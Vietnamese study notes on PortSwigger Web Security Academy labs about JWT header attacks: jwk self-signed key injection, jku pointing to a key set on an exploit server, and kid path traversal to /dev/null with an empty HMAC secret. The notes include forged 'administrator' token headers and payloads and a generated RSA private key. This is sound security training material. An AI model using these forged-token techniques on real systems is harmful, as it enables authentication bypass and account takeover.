Quote

Theo đặc tả JWS, chỉ có tham số header alg là bắt buộc. Tuy nhiên, trong thực tế, các header JWT (còn được gọi là header JOSE) thường chứa một số tham số khác. Các tham số sau đây đặc biệt được kẻ tấn công quan tâm.

  • jwk (JSON Web Key) - Cung cấp một đối tượng JSON nhúng đại diện cho khóa.
  • jku (JSON Web Key Set URL) - Cung cấp một URL mà từ đó máy chủ có thể lấy một bộ khóa chứa khóa chính xác.
  • kid (Key ID) - Cung cấp một ID mà máy chủ có thể sử dụng để xác định khóa chính xác trong các trường hợp có nhiều khóa để lựa chọn. Tùy thuộc vào định dạng của khóa, khóa này có thể có một tham số kid khớp.

Injecting Self-signed JWTs via the Jwk Parameter

JWK

JWK (JSON Web Key) là một định dạng chuẩn hóa để biểu diễn các khóa dưới dạng một đối tượng JSON.

Ví dụ về một header JWT có trường jwk:

{
  "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
  "typ": "JWT",
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
  }
}

Quote

Lý tưởng nhất, các máy chủ chỉ nên sử dụng một danh sách trắng giới hạn các khóa công khai để xác minh chữ ký JWT. Tuy nhiên, các máy chủ được cấu hình sai đôi khi sử dụng bất kỳ khóa nào được nhúng trong tham số jwk.

Chúng ta có thể khai thác hành vi này bằng cách ký một JWT đã được sửa đổi bằng khóa riêng RSA của riêng mình, sau đó nhúng khóa công khai khớp vào trong header jwk.

Lab: JWT Authentication Bypass via Jwk Header Injection

Đầu tiên, tạo một cặp khóa RSA với tiện ích mở rộng JWT Editor của Burp Suite:

{
  "p": "-5fudhIk6MF_mrH7yt7CoITQZT_frIhdli4FXDeoLJR4nrWXuX1fowkRk-1hyPRk580tLIg0YKXr-TMOupWJDD084mT_bLwsweuhYd-_sC18-YTfuRs_08P94C7BAI6d-ScQ7zw8HTtYJmnVimA65fUbDo5OdU9ZB-aNKhqCUAc",
  "kty": "RSA",
  "q": "5eL9i6fO9F5Yd8-DfrXYPYowHV0sBBaWxZpZ6iRkg0xnvko5cqBElKQcYUo7G9yOWPlPlDG4uifp2jpB6oCOnY8MlVoxn7uJkEIZfoZKgBuJYRScwbbe60qo9hVkDLNKaRD6SG9F1a0iKFC_4eDv7Zg6FpNlIVVa_u6Ti-ZH9qk",
  "d": "ArtZ9w6QDBs37qsDNARCSxTDe2afzaPbKFDVeBk2tOJDIj_HodVh_suWDkQ0z1NyZ950zk5k1jWvMbccgG9_qEwNdNUmmp9bTDErigo7V2m_lTCoWZJPDINXX5YU4AXK-FhdjsTkomVIjQ8M_5AH4VXGxdnoQV36SmTtFxCkjM40xgDhnYaTM8yEkwMlipavCENpQ6U2RxIbUJPjDXQYRK6Vd6lLL1jLxUwGOjX3U3Pah5NnKGJf_hGiFx9QsAaj7a-kW0EexLomJq0nJkx4iYl23J6DqUNmjAFzhJNpA3aI1aWAeke-Gf4JvBM0kppomXs5Bb-fX4fKyHa7h2ogQQ",
  "e": "AQAB",
  "kid": "18c5ae28-d29f-4f3b-bbde-481d63ee4ecd",
  "qi": "n1C4OQ7uYX8H8K5p9ZL4-oOLmCeR9b3KnE5uS3hOiPkGsufVXL0LgkZRxTeWVE0yzNmeCbAuzrpJMnb_xCcpAbELN1lx1jCGyciZKw_8l5WREHHPM1L-6_zQoHR1Ku6_B_QxexjyDRAyvidHxD2tYcGAmSJK6taZptfVcacTNUs",
  "dp": "r9rSYtTr14TonEgrpvFtOKWcxCiRPxdR0tb4CC0e74oXhVeIZa6sWljMYIlcAApTPXK8UJQjiCpxdg2qDeDXmiZzmArgPjCJWEJK2w55_brNz9qARfI1-t7TZQ9I-Aq3gJ89xvpjSktgofj3uXDpujJIZzQwwu5jXJJZuUQuMaE",
  "dq": "GJF1v2MjvwIGOme3CeetQIZwNfMrLRSs8FlamqdhBpc3zyJnmVR_f9M6JTulrYiYvfGHC7N0ppB1cZkgSkuK8lPDaILHIucMAJrP1rHLbH2E5Rcq2ZkNod_Mxt_qXWEb5ralyO_7aqaiK-TVXPKJMb8_FgKSoEla_DvLEPx_XGE",
  "n": "4e39nomLs89W5mOsaTZxybW8kkTN1T9J2s95DO1hKYUaS-Oa3igAxoFaDDeNtEYNIbtxrFKRWkOBK4f3hq0vdVpySX4qtowI5k6YFNEQwXb9N1rzp42f_wyZI4DLjklUilaeOxWhlTkXTGYH4S0MEjIABfZ8iPolc1PToaeTNHE7twqb_TVtU3EaibwOaZqsU9jyAzY8afRpSOdpQFnFPECJhBVJU1VlJiZWkUSorztAcotGnbSoFbgDVsvqy8n5A9tJA7mG9luBG7OR0-XrAuMpmDU2Qxmo5d_4hLIg2c-kCUYySYPLjcgJ62qzxDZXm8bOb990fDtOj40cNN6Onw"
}

Sửa đổi payload thành administrator:

{
  "iss": "portswigger",
  "exp": 1724598870,
  "sub": "administrator"
}

Nhấp vào “Attack” và sau đó nhấp vào “Embedded JWK” để thêm trường jwk cũng như tạo chữ ký.

Injecting Self-signed JWTs via the Jku Parameter

JWK Set

JWK Set là một đối tượng JSON chứa một mảng các JWK đại diện cho các khóa khác nhau. Chúng ta có thể xem một ví dụ về điều này dưới đây.

Ví dụ về một JWK Set:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
      "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
    },
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
      "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
    }
  ]
}

Info

Các JWK Set như thế này đôi khi được công khai thông qua một endpoint tiêu chuẩn, chẳng hạn như /.well-known/jwks.json.

Quote

Các trang web an toàn hơn sẽ chỉ lấy các khóa từ các tên miền đáng tin cậy, nhưng đôi khi chúng ta có thể lợi dụng sự khác biệt trong việc phân tích URL để vượt qua loại lọc này.

Lab: JWT Authentication Bypass via Jku Header Injection

Lab này cung cấp cho chúng ta một máy chủ khai thác.

Tạo một khóa RSA và sao chép nó dưới dạng JWK vào clipboard.

Chúng ta xây dựng một JWK Set có khóa đã tạo như sau:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "18c5ae28-d29f-4f3b-bbde-481d63ee4ecd",
      "n": "4e39nomLs89W5mOsaTZxybW8kkTN1T9J2s95DO1hKYUaS-Oa3igAxoFaDDeNtEYNIbtxrFKRWkOBK4f3hq0vdVpySX4qtowI5k6YFNEQwXb9N1rzp42f_wyZI4DLjklUilaeOxWhlTkXTGYH4S0MEjIABfZ8iPolc1PToaeTNHE7twqb_TVtU3EaibwOaZqsU9jyAzY8afRpSOdpQFnFPECJhBVJU1VlJiZWkUSorztAcotGnbSoFbgDVsvqy8n5A9tJA7mG9luBG7OR0-XrAuMpmDU2Qxmo5d_4hLIg2c-kCUYySYPLjcgJ62qzxDZXm8bOb990fDtOj40cNN6Onw"
    }
  ]
}

Lưu trữ nó trên máy chủ khai thác và sao chép URL đến JWK Set, đó là

https://exploit-0a3a00e803dc7b8485d716a1016e002a.exploit-server.net/exploit

Sửa đổi header và payload của một JWT đã bị bắt:

{
    "jku": "https://exploit-0a3a00e803dc7b8485d716a1016e002a.exploit-server.net/exploit",
    "kid": "18c5ae28-d29f-4f3b-bbde-481d63ee4ecd",
    "typ": "JWT",
    "alg": "RS256"
}
{
    "iss": "portswigger",
    "exp": 1724600024,
    "sub": "administrator"
}

Ký nó bằng khóa RSA đã tạo (khóa có ID 18c5ae28-d29f-4f3b-bbde-481d63ee4ecd) và gửi request.

Injecting Self-signed JWTs via the Kid Parameter

Quote

Đặc tả JWS không định nghĩa một cấu trúc cụ thể cho ID này - nó chỉ là một chuỗi tùy ý do nhà phát triển lựa chọn. Ví dụ, họ có thể sử dụng tham số kid để trỏ đến một mục cụ thể trong cơ sở dữ liệu, hoặc thậm chí là tên của một tệp.

{
  "kid": "../../path/to/file",
  "typ": "JWT",
  "alg": "HS256",
  "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

Điều này đặc biệt nguy hiểm nếu máy chủ cũng hỗ trợ các JWT được ký bằng một thuật toán đối xứng. Trong trường hợp này, một kẻ tấn công có thể có khả năng trỏ tham số kid đến một tệp tĩnh, có thể dự đoán được, sau đó ký JWT bằng một khóa bí mật khớp với nội dung của tệp này.

Về lý thuyết, chúng ta có thể làm điều này với bất kỳ tệp nào, nhưng một trong những phương pháp đơn giản nhất là sử dụng /dev/null, có mặt trên hầu hết các hệ thống Linux. Vì đây là một tệp trống, việc đọc nó trả về một chuỗi rỗng. Do đó, việc ký token bằng một chuỗi rỗng sẽ dẫn đến một chữ ký hợp lệ.

Quote

Nếu máy chủ lưu trữ các khóa xác minh của nó trong cơ sở dữ liệu, tham số header kid cũng là một vector tiềm năng cho các cuộc tấn công SQL injection.

Lab: JWT Authentication Bypass via Kid Header Path Traversal

Đầu tiên, sửa đổi header và payload:

{
    "kid": "../../dev/null",
    "alg": "HS256"
}
{
    "iss": "portswigger",
    "exp": 1724601325,
    "sub": "administrator"
}

Ký nó bằng cách sử dụng jwt.io với chuỗi rỗng làm khóa bí mật.

Gửi request và chúng ta nhận được thông báo lỗi nên thử lại với header sau:

{
  "kid": "../../../dev/null",
  "alg": "HS256"
}

Other Interesting JWT Header Parameters

  • cty (Content Type): thay đổi loại nội dung thành text/xml hoặc application/x-java-serialized-object, có thể có khả năng kích hoạt các vector mới cho các cuộc tấn công XXE và deserialization.
  • x5c (X.509 Certificate): Do sự phức tạp của định dạng X.509 và các phần mở rộng của nó, việc phân tích các chứng chỉ này cũng có thể gây ra các lỗ hổng. Ví dụ: CVE-2017-2800 và CVE-2018-2633
list
from outgoing([[Port Swigger -]])
sort file.ctime asc

Resources

JWT attacks | Web Security Academy (portswigger.net)